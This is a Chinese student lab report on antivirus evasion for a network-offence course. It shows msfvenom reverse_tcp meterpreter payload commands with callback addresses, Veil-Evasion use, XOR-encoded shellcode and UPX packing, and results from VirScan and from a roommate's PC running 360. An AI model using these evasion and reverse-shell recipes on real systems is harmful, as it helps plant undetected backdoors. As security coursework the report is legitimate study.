2017-2018-2 20155231《网络对抗技术》实验三:免杀原理与实践
2017-2018-2 20155231《网络对抗技术》实验3:免杀原理与实践
实验内容
正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
使用msf编码器生成jar包
- 使用指令
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.174.130 lport=5231 x> 5231_backjar.jar
生成jar文件 - 上传检测http://www.virscan.org/
直接gg
veil-evasion
- 输入指令
veil
进入veil界面 ,输入use evasion
、list payloads
进入模板界面。(不知道为啥,随便选择一个运行有错,只有选择5才能运行)复制模板,use 模板
运行 - 依然用
set LHOST 192.168.174.130,set LPORT 5231
设置 generate
运行- 找到生成的文件,上传检测
这居然成了!
然而并没有,上传错了文件,exe文件没有通过检测,并且直接被管家杀了
自己利用shellcode编程
-
使用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.35.132 LPORT=443 -f c
生成buf[]; -
利用buf[]生成c语言文件
-
生成exe文件并且回连
-
(生成的exe文件没有被查杀,还以为成了,但再次打开时遭到了查杀。。。。。)
-
上传检测
失败
通过组合应用各种技术实现恶意代码免杀
利用shellcode编程更改
- 这里异或了31
- (没有被查杀)
- 进行回连
- 上传检测
失败+1
加壳
-
upx #需要加壳的文件名 -o #加壳后的文件名
-
将之前的shellcode生成的exe文件进行加壳。
-
回连
(神奇?!编译时不会被查杀,手动查杀也没被查杀,再次打开时依然被查杀了)
-上传检测
失败再+1
加壳之前veil的exe文件,检测,恩,加壳还是有用的,数量减少
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
-
将更改加壳后的shellcode编程文件在室友电脑上运行
-
室友的杀毒软件为360
-
未被查杀,回连
基础问题回答
- 杀软是如何检测出恶意代码的?
- 通过对比病毒库,检测恶意代码的特征;
- 或者对比和正常代码的区别
- 或者监测文件行为
- 免杀是做什么?
- 免杀就是让安插的后门不被AV软件发现
- 免杀的基本方法有哪些?
- 改变特征码,如shellcode编程
- 改变行为,利用回连或者隧道灯技术
实践总结与体会
- 虽然大部分被认定为病毒,很伤心,只有veil生成的rc文件通过了检测,只有更改的shellcode编程文件没有被管家检测出来
- 不过,运用综合技术生成的最终版文件在同学的电脑上也躲过了360的检查,实现了免杀,还可以
- 由于和室友电脑相互ping不通,没有实现回连,没有实现最终的攻击室友电脑的操作…………hhh
离实战还缺些什么技术或步骤?
- 和同学几乎一样的操作,但结果经常不同,对于不同的杀毒软件也有不同的结果。手动的很多方法都没通过,反而veil直接给予的模板通过了检测